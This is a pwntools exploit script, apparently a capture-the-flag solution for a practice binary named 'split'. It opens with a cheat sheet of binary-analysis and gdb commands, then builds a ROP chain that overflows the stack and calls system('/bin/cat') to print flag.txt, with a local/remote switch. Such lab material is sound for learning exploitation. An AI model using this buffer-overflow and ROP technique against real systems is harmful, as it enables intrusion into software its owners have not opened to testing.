from pwn import *

"""
How to:
    Check the file for security features
        checksec --file=<binary>
    Check the binary for interesting things    
        rabin2 -qs <binary>                         #Functions inside of the binary
        rabin2 -i <binary>                          #Imported functions and where they are located
        rabin2 -z <binary>                          #Programmer specific strings
       
    Inside of gdb:
        info functions                              #Shows the functions
        disas <function>                            #Shows the assembly for the function specified
        p <string>                                  #Grabs the address of the specified object
        search "<string>"                           #Search for a string and show its address
        jump <function or *Address>                 #Jumps to function or address
        b <function or *Address>                    #Sets up a breakpoint
        More into the potatos (32):
            pattern create <#> {output file}        #Creates a pattern for finding offset
            pattern offset <#>                      #Finds the offset mentioned
     
    64Bit differences:
        Need to grab the RSP beginning instead  
        If the address is only 4 bytes, pad to 8 
        ropper -f <binary>                          #Shows all rop gadgets in a binary
        ropper -f <binary> --search "pop rdi"       #Shows all rop gadgets that can pop RDI (For system calls, you need to have the target in RDI)
            Example
                print('A'*40 + '\xc3\x07\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x60\x05\x40\x00\x00\x00\x00\x00')
                      Buffer ->           POP RDI call            ->     What is going into RDI        ->          System()
    
    ARMv5 difference:
        EIP/RIP is now PC
        
    MIPS difference:
        EIP/RIP/PC is now ra
        GDB doesn't like it so you can't use it      #Requires manual checking along with exploit dev
        
"""

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Find offset to EIP/RIP for buffer overflows
def find_ip(payload):
    # Launch process and send payload
    p = process(exe)
    p.sendlineafter('>', payload)
    # Wait for the process to crash
    p.wait()
    # Print out the address of EIP/RIP at the time of crashing
    ip_offset = cyclic_find(p.corefile.pc)  # x86
    # ip_offset = cyclic_find(p.corefile.read(p.corefile.sp, 4))  # x64
    info('located EIP/RIP offset at {a}'.format(a=ip_offset))
    return ip_offset


# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())


# Binary filename
exe = './split'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (warning/info/debug)
context.log_level = 'info'
# Deletes core files if used
context.delete_corefiles = True

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

# Find system call
system_addr = elf.symbols['system']
# Find command to run as an arg in system
bincat_addr = next(elf.search(b'/bin/cat'))
flag_addr = next(elf.search(b'flag.txt'))
# Locate ROP gadget needed
pop_rdi_gadget = ROP(elf).find_gadget(["pop rdi","ret"])[0]

# Addresses
info("%#x pop rdi; ret;", pop_rdi_gadget)
info("%#x system", system_addr)
info("%#x /bin/cat", bincat_addr)

# Find Buffer overflow
payload = cyclic(100)

# Send payload
io.sendlineafter("> ", payload)

# Wait for crash
io.wait()

# Read the crash file
core = io.corefile

# Locate RIP value and offset
stack = core.rsp

pattern = core.read(stack,4)

rip_offset = cyclic_find(pattern)

# Display offset
info("Located RIP at {a}".format(a=rip_offset))

# Build the payload
payload = flat({
    rip_offset: [pop_rdi_gadget,
    bincat_addr,
    elf.symbols.system
    ]
})
'''
    eip_offset:         #Offset to cause overflow
    [pop_rdi_gadget,    #POP RDI to pop something into RDI
    bincat_addr,        #What is getting popped into rdi, command we want to run
    elf.symbols.system  #Command to run's argument
'''

# Save the payload to file
write('payload', payload)

# Start the process again
io = start()

# Send the payload
io.sendlineafter('> ', payload)
io.recvuntil('Thank you!\n')

# Or, Get our flag!
flag = io.recv()

try:
    success(flag)
except AttributeError:
    print("[+] Flag: {}".format(str(flag)))
